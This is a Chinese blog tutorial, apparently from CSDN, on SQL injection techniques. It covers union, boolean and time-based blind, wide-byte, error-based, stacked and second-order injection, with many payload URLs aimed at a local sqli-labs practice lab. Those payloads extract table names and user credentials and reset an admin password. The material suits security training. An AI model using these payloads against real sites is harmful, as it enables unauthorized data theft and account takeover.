常见sql注入类型及对应函数使用

常见的SQL注入方法有:

  • 联合注入
  • 布尔盲注
  • 时间盲注
  • 宽字节注入
  • 报错注入
  • 堆叠注入
  • 二次注入

联合注入

1、order by判断字段数

2、使用union select猜测目标SQL查询语句中select后面的字段数量,同时也测出了目标哪些位置的字段可以继续利用

3、group_concat(参数1,参数2,参数3等等无数个参数)语法: group_concat函数返回一个字符串结果(就是返回一行),该结果由括号中的各个参数值执行然后连接组合而成

4、payload

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database() --+

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) --+

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users')--+

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,^,password)from users)--+

布尔盲注

1、length:返回值为字符串的字节长度

假设:?id=1' and (length(database()))>7--+页面返回有数据

?id=1' and (length(database()))>8--+页面无结果返回,则数据库名称长为8

2、ascii:把字符转换成ascii码值的函数

      substr(str, pos, len):在str中从pos开始的位置(起始位置为1),截取len个字符

猜数据库名?id=1' and ascii(substr(database(),1,1))>100--+ 

猜表名?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+

猜字段名?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50--+   

猜数据?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))<80--+  

(都用二分法找唯一值)

时间盲注

利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是True还是False

if(expr1,expr2,expr3): expr1的值为TRUE,则返回值为expr2 ;expr1的值为FALSE,则返回值为expr3;sleep(n):延迟响应时间n秒

(1)判断数据库中表的数量
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 and if(1=1,sleep(4),null)--+
(2)猜解其中第四个表名的长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5 and if(1=1,sleep(4),null)--+
(3)猜解第四个表名
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 117 and if(1=1,sleep(4),null)--+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 115 and if(1=1,sleep(4),null)--+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 101 and if(1=1,sleep(4),null)--+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 114 and if(1=1,sleep(4),null)--+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 115 and if(1=1,sleep(4),null)--+
第四个表名为users
(4)判断users表中字段数量
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 and if(1=1,sleep(4),null)--+
(5)判断第二个字段长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8 and if(1=1,sleep(4),null)--+
(6)猜解第二个字段名称
http://127.0.0.1/sqli-labs/Less-9/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117 and if(1=1,sleep(4),null)--+
...
第二个字段名称为username
注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关
(7)猜解指定字段中值的数量
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (select count(username)from users)=13 and if(1=1,sleep(4),null)--+
(8)猜解第一个字段中第一个值的长度
http://127.0.0.1/sqli-labs/Less-9/?id=1' and length((select username from users limit 0,1))=4 and if(1=1,sleep(4),null)--+
猜解第一个字段中第一个值的名称
http://127.0.0.1/sqli-labs/Less-9/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 and if(1=1,sleep(4),null)--+


宽字节注入

当存在宽字节注入的时候,注入参数里带入%df%27,即可把(%5c)吃掉,也就是%df和%5c结合成了汉字運

http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2--+
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)--+
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users')--+
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(username,char(32),password)from users)--+

报错注入


updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数,xpath_expr: 需要更新的xml路径(Xpath格式)

extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

重要的是updatexml;extractvalue

堆叠注入

堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句。简单地说就是MYSQL的多语句查询
堆叠注入的局限性:堆叠注入并不是在任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足。web系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中(比如虽然参数在过滤后会添加"“进行转义,但是”"并不会插入到数据库中),当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

原SQL语句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
修改密码sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
最后真正执行的sql语句:UPDATE users SET PASSWORD=‘$pass’ where username='admin'


原文链接:https://blog.csdn.net/qq_41617034/article/details/117323165

  • 16
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值